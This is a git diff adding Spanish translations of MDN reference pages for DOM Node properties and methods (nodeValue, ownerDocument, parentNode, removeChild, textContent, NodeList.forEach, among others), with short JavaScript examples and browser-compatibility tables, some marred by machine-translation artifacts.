+<p>Para el nodo en si, <code>nodeValue</code> devuelve <code>null</code>. Para texto, comentarios, y nodos CDATA, <code>nodeValue</code> devuelve el contenido de dicho nodo. Para nodos atributos, el valor del atributo es devuelto.</p>
+
+<p>La siguiente table muestra los distintos valores retornados por los diferentes elementos.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th>Atributo</th>
+   <th>valor del atributo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>CDATASection</td>
+   <td>contenido de la sección CDATA</td>
+  </tr>
+  <tr>
+   <td>Comment</td>
+   <td>Contenido del comentario</td>
+  </tr>
+  <tr>
+   <td>Document</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>DocumentFragment</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>DocumentType</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>Element</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>NamedNodeMap</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>EntityReference</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>Notation</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>ProcessingInstruction</td>
+   <td>Todo el contexto excluyendo el objetivo</td>
+  </tr>
+  <tr>
+   <td>Text</td>
+   <td>Contenido del nodo de texto</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Cuando <code>nodeValue</code> es definido como <code>null</code>, actualizarlo no tiene efecto.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68D080">DOM Level 2 Core: Node.nodeValue</a></li>
+</ul>
diff --git a/files/es/web/api/node/nodoprincipal/index.html b/files/es/web/api/node/nodoprincipal/index.html
new file mode 100644
index 0000000000..55f02037bb
--- /dev/null
+++ b/files/es/web/api/node/nodoprincipal/index.html
@@ -0,0 +1,33 @@
+---
+title: Nodo.nodoPrincipal
+slug: Web/API/Node/nodoPrincipal
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Propiedad
+translation_of: Web/API/Node
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+{{Non-standard_header}}
+
+<p>La propiedad de solo loctura de <code><strong>Nodo.nodePrincipal</strong></code> devuelve el objeto {{Interface("nsIPrincipal")}} representando el contexto de seguridad del nodo actual.</p>
+
+<p>{{Note("This property exists on all nodes (HTML, XUL, SVG, MathML, etc.), but only if the script trying to use it has chrome privileges.")}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>principalObj</em> = element.nodePrincipal
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Esta propiedad es de solo lectura; Si intentamos editarla nos lanzará una excepción. Además, esta propiedad tan solo debería ser accesible desde código privilegiado</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p>No hay especificaciones.</p>
+</div>
+
+<p> </p>
diff --git a/files/es/web/api/node/ownerdocument/index.html b/files/es/web/api/node/ownerdocument/index.html
new file mode 100644
index 0000000000..b1213ac818
--- /dev/null
+++ b/files/es/web/api/node/ownerdocument/index.html
@@ -0,0 +1,118 @@
+---
+title: Node.ownerDocument
+slug: Web/API/Node/ownerDocument
+tags:
+  - API
+  - DOM
+  - Nodo
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Node/ownerDocument
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propiedad de lectura <code><strong>ownerDocument</strong></code> de la interfaz {{domxref("Node")}} devuelve el objeto Document de más alto nivel/jerarquia para ese nodo.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>var document</var> = <var>element</var>.ownerDocument;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p><code>document</code> es el objeto {{domxref("Document")}} de más alto nivel, con el que todos los nodos descendientes se crean. Si la propiedad se usa en un nodo que el mismo es un Document, el resultado es <code>null</code>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js">// dado un nodo "p",  coge el hijo que tenga la más alta jerarquia
+// del objeto Document
+
+var d = p.ownerDocument;
+var html = d.documentElement;
+
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-node-ownerdocument", "Node.ownerDocument")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>6.0<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Starting in Gecko 9.0 {{geckoRelease("9.0")}}, the <code>ownerDocument</code> of doctype nodes (that is, nodes for which {{domxref("Node.nodeType")}} is <code>Node.DOCUMENT_TYPE_NODE</code> or 10) is no longer <code>null</code>. Instead, the <code>ownerDocument</code> is the document on which <a href="/en-US/docs/DOM/DOMImplementation.createDocumentType"><code>document.implementation.createDocumentType()</code></a> was called.</p>
+
+<p>[2] <a href="http://msdn.microsoft.com/en-us/library/ie/ms534315(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/ie/ms534315(v=vs.85).aspx</a></p>
diff --git a/files/es/web/api/node/parentnode/index.html b/files/es/web/api/node/parentnode/index.html
new file mode 100644
index 0000000000..62bf77c4ff
--- /dev/null
+++ b/files/es/web/api/node/parentnode/index.html
@@ -0,0 +1,105 @@
+---
+title: Node.parentNode
+slug: Web/API/Node/parentNode
+translation_of: Web/API/Node/parentNode
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+
+<div> </div>
+</div>
+
+<p>La propiedad de sólo lectura <code><strong>node.parentNode</strong></code> devuelve el padre del nodo especificado en el árbol.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre><em>parentNode</em> = <em>node</em>.parentNode</pre>
+
+<p><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: #eeeeee;">parentNode</span></font> es el padre del nodo actual. El padre de un elemento es un nodo del tipo <code>Element</code>, un nodo <code>Document</code>, o un nodo <code>DocumentFragment.</code></p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:js">if (node.parentNode) {
+  // Borra un nodo del árbol a no ser que
+  // esté ya en el árbol
+  node.parentNode.removeChild(node);
+}</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Los nodos del tipo <code>Document</code> y <code>DocumentFragment</code> nunca van a tener un elemento padre, <code>parentNode</code> devolverá siempre <code>null</code>.</p>
+
+<p>También devuelve <code>null</code> si el nodo acaba de ser creado y no está atado/incorporado al árbol.</p>
+
+<h2 id="Compatiblidad_de_navegador">Compatiblidad de navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>0.2</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1060184317">DOM Level 2 Core: Node.parentNode</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-1060184317">DOM Level 3 Core: Node.parentNode</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{Domxref("Node.firstChild")}}</li>
+ <li>{{Domxref("Node.lastChild")}}</li>
+ <li>{{Domxref("Node.childNodes")}}</li>
+ <li>{{Domxref("Node.nextSibling")}}</li>
+ <li>{{Domxref("Node.parentElement")}}</li>
+ <li>{{Domxref("Node.previousSibling")}}</li>
+ <li>{{Domxref("Node.removeChild")}}</li>
+</ul>
diff --git a/files/es/web/api/node/previoussibling/index.html b/files/es/web/api/node/previoussibling/index.html
new file mode 100644
index 0000000000..e537d09a23
--- /dev/null
+++ b/files/es/web/api/node/previoussibling/index.html
@@ -0,0 +1,63 @@
+---
+title: Node.previousSibling
+slug: Web/API/Node/previousSibling
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Propiedad
+translation_of: Web/API/Node/previousSibling
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>La propiedad de sólo-lectura <code><strong>Node.previousSibling</strong></code> devuelve el nodo inmediatamente anterior al especificado en la lista de nodos {{domxref("Node.childNodes", "childNodes")}} de su padre, o <code>null</code> si el nodo especificado es el primero en dicha lista.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>nodoAnterior</var> = <em>nodo</em>.previousSibling;
+</pre>
+
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;img id="b0"&gt;
+&lt;img id="b1"&gt;
+&lt;img id="b2"&gt;</pre>
+
+<pre class="brush:js">console.log(document.getElementById("b1").previousSibling); // &lt;img id="b0"&gt;
+console.log(document.getElementById("b2").previousSibling.id); // "b1"
+</pre>
+
+<h2 id="Notas" name="Notas">Notas</h2>
+
+
+<div><p>Gecko-based browsers insert text nodes into a document to represent whitespace in the source markup.
+    Therefore a node obtained, for example, using <a href="/es/docs/Web/API/Node/firstChild" title="The Node.firstChild read-only property returns the node's first child in the tree, or null if the node has no children."><code>Node.firstChild</code></a> or <a href="/es/docs/Web/API/Node/previousSibling" title="La propiedad de sólo-lectura Node.previousSibling devuelve el nodo inmediatamente anterior al especificado en la lista de nodos childNodes de su padre, o null si el nodo especificado es el primero en dicha lista."><code>Node.previousSibling</code></a> may refer to a
+    whitespace text node rather than the actual element the author intended to get.</p>
+
+    <p>See <a href="/en-US/docs/Web/Guide/DOM/Whitespace_in_the_DOM">Whitespace in the DOM</a> and
+    <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Why are some Text nodes empty?</a>
+    for more information.</p></div>
+
+<p>Para navegar en el sentido opuesto de la lista de nodos hijos se utiliza <a href="/en-US/docs/Web/API/Node.nextSibling" title="DOM/Node.nextSibling">Node.nextSibling</a>.</p>
+
+<h2 id="Especificación" name="Especificación">Especificación</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-previousSibling">DOM Level 1 Core: previousSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-640FB3C8">DOM Level 2 Core: previousSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-640FB3C8">DOM Level 3 Core: previousSibling</a></li>
+</ul>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.Node.previousSibling")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Node.nextSibling")}}</li>
+</ul>
diff --git a/files/es/web/api/node/removechild/index.html b/files/es/web/api/node/removechild/index.html
new file mode 100644
index 0000000000..423d482bb6
--- /dev/null
+++ b/files/es/web/api/node/removechild/index.html
@@ -0,0 +1,94 @@
+---
+title: Node.removeChild()
+slug: Web/API/Node/removeChild
+translation_of: Web/API/Node/removeChild
+---
+<div>
+<div><font><font><font><font><font><font><font><font><font><font>{{APIRef ( "DOM")}}</font></font></font></font></font></font></font></font></font></font></div>
+
+<p class="syntaxbox">El método <strong><code>Node.removeChild() </code></strong>elimina un nodo hijo del DOM y puede devolver el nodo eliminado.</p>
+
+<h2 class="syntaxbox" id="Sintaxis">Sintaxis</h2>
+
+<div>
+<pre class="syntaxbox"><em>var antiguoHijo </em>= <em>elemento</em>.removeChild(child);
+<strong>O</strong>
+<em>elemento</em>.removeChild(<code>child</code>);</pre>
+</div>
+</div>
+
+<ul>
+ <li><code>child</code> <code> </code>es el nodo hijo a eliminar del DOM.</li>
+ <li><code>elemento </code>es el nodo padre de <code>hijo</code>.(ver nota mas abajo)</li>
+ <li><code>antiguoHijo</code> tiene una referencia al hijo eliminado. <code>antiguoHijo === </code> <code>child</code>.</li>
+</ul>
+
+<p>El hijo(child) eliminado aún existe en memoria pero ya no es parte del DOM. Con la primera forma de sintaxis mostrada, se puede reutilizar el nodo eliminado más tarde en el código, por medio de la referencia al objeto <code>antiguoHijo</code>. Sin embargo, en la segunda forma, la referencia a <code>antiguoHijo</code> se pierde, y suponiendo que el código no mantenga una referencia a ese objeto en alguna otra parte, inmediatamente será inutilizable e irrecuperable y será <a href="es/docs/Web/JavaScript/Gestion_de_Memoria">eliminada automáticamente </a>de memoria después de poco tiempo.</p>
+
+<p>Si hijo(<code>child)</code> no es en realidad hijo del nodo <code>elemento</code>, el método lanza una excepción. Esto también sucederá si <code>child </code>es en realidad hijo de <code>elemento </code>al momento de llamar al método, pero fue eliminado por un controlador(manejador) de eventos(event handler) invocado en el curso de tratar de eliminar el elemento. (e.g. blur).</p>
+
+<p>Por lo tanto el método removeChild(child) lanza una excepción de 2 casos diferentes: </p>
+
+<p style="margin-left: 36.0pt; text-indent: -18.0pt;"><span style="">1.<span style='font: 7.0pt "Times New Roman";'>      </span></span>Si child es un hijo del elemento y por lo tanto existe en el DOM, pero se retiró el método lanza la siguiente excepción:</p>
+
+<p style="margin-left: 36.0pt;"><code><span lang="EN-US" style='font-family: "Cambria Math","serif"; font-size: 10.0pt;'>​​</span></code><code><span lang="EN-US" style="font-size: 10.0pt;">Uncaught NotFoundError: Failed to execute 'removeChild' on 'Node': The node to be removed is not a child of this node</span></code><span lang="EN-US" style=""><font><font>.</font></font></span></p>
+
+<p style="margin-left: 36.0pt; text-indent: -18.0pt;"><span style="">2.<span style='font: 7.0pt "Times New Roman";'>      </span></span>Si <code><span style="font-size: 10.0pt;">child</span></code> no existe en el DOM de la página, el método emite la siguiente excepción:<br>
+ <br>
+ <code><span style="font-size: 10.0pt;">Uncaught TypeError: Failed to execute 'removeChild' on 'Node': parameter 1 is not of type 'Node'.</span></code></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;!--Ejemplo 1 HTML--&gt;
+&lt;div id="top" align="center"&gt; &lt;/div&gt;</pre>
+
+<pre class="brush: js">&lt;!--Javascript--&gt;
+// El método lanza la excepción correspondiente al (caso 2)
+var top = document.getElementById("top");
+var nested = document.getElementById("nested");
+var garbage = top.removeChild(nested);</pre>
+
+<pre class="brush: html"><font><font><font><font><font><font><font><font>&lt;!--Ejemplo 2 </font></font></font></font></font><font><font><font><font><font>HTML--&gt;
+</font></font></font></font><font><font><font><font><font><font>&lt;div id="top"</font></font></font></font></font></font></font></font></font></font><font><font><font><font><font><font><font><font><font><font>&gt;</font></font></font></font><font><font>
+   &lt;div id="anidados"&gt;&lt;/div&gt; </font></font></font></font></font></font></font></font><font><font><font><font><font><font><font><font>
+&lt;/div&gt;</font></font></font></font></font></font></font></font></pre>
+
+<pre class="brush: js"><font><font>&lt;!--Javascript--&gt;</font></font>
+// Eliminando un elemento específico cuando se conoce su nodo padre<font><font>
+var d = document.getElementById("top");</font></font><font><font>
+var d_nested = document.getElementById("anidados");</font></font><font><font>
+var throwawayNode = d.removeChild(d_nested);</font></font></pre>
+
+<pre class="brush:js"><font><font>&lt;!--Javascript--&gt;</font></font>
+// Eliminando un elemento específico utilizando la propiedad parentNode, que siempre hace referencia al nodo padre de un nodo <strong>(nodoHijo.parentNode.)</strong>.
+<font><font>nodo var = document.getElementById("anidados");</font></font><font><font>
+if (node.parentNode) {</font></font><font><font>
+  node.parentNode.removeChild(nodo);</font></font>
+}</pre>
+
+<pre class="brush:js"><font><font>&lt;!--Javascript--&gt;</font></font>
+// Eliminando todos los hijos de un elemento<font><font>
+elemento var = document.getElementById("top");</font></font><font><font>
+while (element.firstChild) {</font></font><font><font>
+  element.removeChild(element.firstChild);</font></font><font><font>
+}</font></font></pre>
+
+<h2 id="Notas"><strong><font><font>Notas:</font></font></strong></h2>
+
+<p><code><strong>removeChild()</strong></code> se debe invocar sobre el nodo padre del nodo que se va a eliminar.</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeChild"><font><font>DOM Nivel 1 Core: removeChild</font></font></a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1734834066"><font><font>DOM Nivel 2 Core: removeChild</font></font></a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-1734834066"><font><font>DOM Nivel 3 Core: removeChild</font></font></a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Vea también</h2>
+
+<ul>
+ <li><font><font><font><font><font><font><font><font><font><font>{{Domxref ( "Node.replaceChild")}}</font></font></font></font></font></font></font></font></font></font></li>
+ <li><font><font><font><font><font><font><font><font><font><font>{{Domxref ( "Node.parentNode")}}</font></font></font></font></font></font></font></font></font></font></li>
+ <li><font><font><font><font><font><font><font><font><font><font>{{Domxref ( "ChildNode.remove")}}</font></font></font></font></font></font></font></font></font></font></li>
+</ul>
diff --git a/files/es/web/api/node/replacechild/index.html b/files/es/web/api/node/replacechild/index.html
new file mode 100644
index 0000000000..e93f025bd9
--- /dev/null
+++ b/files/es/web/api/node/replacechild/index.html
@@ -0,0 +1,73 @@
+---
+title: Node.replaceChild()
+slug: Web/API/Node/replaceChild
+tags:
+  - API
+  - DOM
+  - Nodo
+  - Referencia
+  - metodo
+translation_of: Web/API/Node/replaceChild
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>El método <strong><code>Node.replaceChild()</code></strong> reemplaza un nodo hijo del elemento especificado por otro.</p>
+
+<h2 id="Syntax" name="Syntax">Sintáxis</h2>
+
+<pre class="syntaxbox"><em>replacedNode</em> = <em>parentNode</em>.replaceChild(<em>newChild</em>, <em>oldChild</em>);
+</pre>
+
+<ul>
+ <li><code>newChild</code> es el nuevo nodo con el que reemplazar <code>oldChild</code>. Si ya existe en el DOM, será eliminado previamente.</li>
+ <li><code>oldChild</code> es el nodo existente para ser reemplazado.</li>
+ <li><code>replacedNode</code> es el nodo reemplazado. Es el mismo nodo que <code>oldChild</code>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:js">// &lt;div&gt;
+//  &lt;span id="childSpan"&gt;foo bar&lt;/span&gt;
+// &lt;/div&gt;
+
+// crear un nodo con un elemento vacío
+// sin ID, atributos, ni contenido
+var sp1 = document.createElement("span");
+
+// darle un atributo id llamado 'newSpan'
+sp1.setAttribute("id", "newSpan");
+
+// crear algún contenido para el nuevo elemento
+var sp1_content = document.createTextNode("Nuevo elemento span para reemplazo.");
+
+// aplicar dicho contenido al nuevo elemento
+sp1.appendChild(sp1_content);
+
+// construir una referencia al nodo existente que va a ser reemplazado
+var sp2 = document.getElementById("childSpan");
+var parentDiv = sp2.parentNode;
+
+// reemplazar el nodo sp2 existente con el nuevo elemento span sp1
+parentDiv.replaceChild(sp1, sp2);
+
+// resultado:
+// &lt;div&gt;
+//   &lt;span id="newSpan"&gt;Nuevo elemento span para reemplazo.&lt;/span&gt;
+// &lt;/div&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-replaceChild">DOM Level 1 Core: replaceChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-785887307">DOM Level 2 Core: replaceChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-785887307">DOM Level 3 Core: replaceChild</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild")}}</li>
+</ul>
diff --git a/files/es/web/api/node/textcontent/index.html b/files/es/web/api/node/textcontent/index.html
new file mode 100644
index 0000000000..46586e89d5
--- /dev/null
+++ b/files/es/web/api/node/textcontent/index.html
@@ -0,0 +1,98 @@
+---
+title: Node.textContent
+slug: Web/API/Node/textContent
+translation_of: Web/API/Node/textContent
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propiedad <strong><code>textContent</code></strong> de la interfaz {{domxref("Node")}} representa el contenido de texto de un nodo y sus dencendientes.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> <code>textContent</code> y {{domxref("HTMLElement.innerText")}} son confundidos con facilidad, pero <a href="#Diferencias_con_innerText">ambos son diferentes en varias formas importantes</a>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>text</em> = <em>Node</em>.textContent;
+<em>Node</em>.textContent = <em>string</em>;
+</pre>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una cadena de texto o <code>null</code></p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Al obtener esta propiedad:</p>
+
+<ul>
+ <li>Si el nodo es un <a href="/es/docs/Web/API/Document">documento</a>, un <a href="/es/docs/Glossary/Doctype">DOCTYPE</a>, o una <a href="/en-US/docs/Web/API/Notation">notation</a>, <code>textContent</code> devuelve <code>null</code>. (Para obtener todo el texto y los datos de <a href="/en-US/docs/Web/API/CDATASection">CDATA data</a> del documento completo, uno podría usar <code><a href="/en-US/docs/DOM/document.documentElement">document.documentElement</a>.textContent</code>.)</li>
+ <li>Si el nodo es una <a href="/en-US/docs/Web/API/CDATASection">sección CDATA</a>, un comentario, una <a href="/en-US/docs/Web/API/ProcessingInstruction">instrucción de procesamiento</a>, o un <a href="/es/docs/Web/API/Document/createTextNode">nodo de texto</a>,  <code>textContent</code> devuelve el texto dentro del nodo, por ejemplo, el {{domxref("Node.nodeValue")}}.</li>
+ <li>Para otros tipos de nodos, <code>textContent</code> retorna la concatenación del atributo <code>textContent</code> de todos los nodos hijos, excluyendo los nodos comentario y los nodos de instrucciones. Esto es una cadena vacía si el nodo no tiene hijos.</li>
+</ul>
+
+<p>Estableciendo <code>textContent</code> en un nodo elimina todos sus hijos y los reemplaza con un solo nodo de texto con el valor dado.</p>
+
+<h3 id="Diferencias_con_innerText">Diferencias con innerText</h3>
+
+<p>Internet Explorer introdujo <code>elemento.innerText</code>. La intención es muy parecida, con un par de diferencias:</p>
+
+<ul>
+ <li>Note que mientras <code>textContent</code> lee el contenido de todos los elementos, incluyendo los elementos {{HTMLElement("script")}} y {{HTMLElement("style")}}, <code>innerText</code>, no.</li>
+ <li><code>innerText</code> también tiene en cuenta el estilo y no retornará el texto de elementos escondidos, mientras que <code>textContent</code> sí lo hará.</li>
+ <li>Como <code>innerText</code> tiene en cuenta el estilo CSS, escribirlo disparará un reflow, mientras que <code>textContent</code> no lo hará.</li>
+</ul>
+
+<h3 id="Diferencias_con_innerHTML">Diferencias con innerHTML</h3>
+
+<p><code>innerHTML</code> retorna el HTML como su nombre indica. Con bastante frecuencia, para leer o escribir texto en un elemento, la gente usa <code>innerHTML</code>. <code>textContent</code> debería usarse en su lugar. Ya que el texto no es procesado es más probable que tenga mejor rendimiento. Además, esto evita un vector de ataques XSS.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js">// Dado el siguiente fragmento HTML:
+//   &lt;div id="divA"&gt;Esto &lt;span&gt;es&lt;/span&gt;un texto&lt;/div&gt;
+
+// Lee el contenido textual:
+var text = document.getElementById("divA").textContent;
+// |text| contiene la cadena "Esto es un texto".
+
+// Escribe el contenido textual:
+document.getElementById("divA").textContent = "Esto es un nuevo texto";
+// El HTML "divA" ahora contiene una nueva cadena:
+//   &lt;div id="divA"&gt;Esto es un nuevo texto&lt;/div&gt;
+</pre>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.Node.textContent")}}</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-textcontent','Node.textContent')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Sin cambios desde DOM 4</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-node-textcontent','Node.textContent')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#Node3-textContent','Node.textContent')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Introducido</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/web/api/nodelist/foreach/index.html b/files/es/web/api/nodelist/foreach/index.html
new file mode 100644
index 0000000000..4cb55533e1
--- /dev/null
+++ b/files/es/web/api/nodelist/foreach/index.html
@@ -0,0 +1,132 @@
+---
+title: NodeList.prototype.forEach()
+slug: Web/API/NodeList/forEach
+tags:
+  - DOM
+  - Iterable
+  - Métodos
+  - NodeList
+  - Referencia
+  - Web
+translation_of: Web/API/NodeList/forEach
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>El método<strong><code>forEach()</code></strong> de la interfase{{domxref("NodeList")}} llama a la función callback proporcionada como parámetro una vez para cadapar de valores en la lista, en el orden en que se insertaron.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>nodeList.</em>forEach<em>(callback[, thisArg]);</em>
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Función a ser ejecutada paracada elemento, tomando eventualmente 3 argumentos:
+ <dl>
+  <dt><em><code>currentValue</code></em></dt>
+  <dd>El valor que esta siendo procesado en la lista de nodos.</dd>
+  <dt><code><em>currentIndex</em></code></dt>
+  <dd>El índice del elemento que esta siendo procesado en la lista de nodos.</dd>
+  <dt><em><code>listObj</code></em></dt>
+  <dd>El objeto NodeList al que se está aplicando el método<code>forEach()</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code><code> {{Optional_inline}}</code></dt>
+ <dd>Valor a ser usado como {{jsxref("this")}} al ejecutar<code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valor_Retornado">Valor Retornado</h3>
+
+<p>{{jsxref('undefined')}}.</p>
+
+<h2 id="Excepciones">Excepciones</h2>
+
+<p><em>Ninguna</em>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js;highlight:[6]">var nodo = document.createElement("div");
+var infante1 = document.createElement("p");
+var infante2 = document.createTextNode("hey");
+var infante3 = document.createElement("span");
+
+nodo.appendChild(infante1);
+nodo.appendChild(infante2);
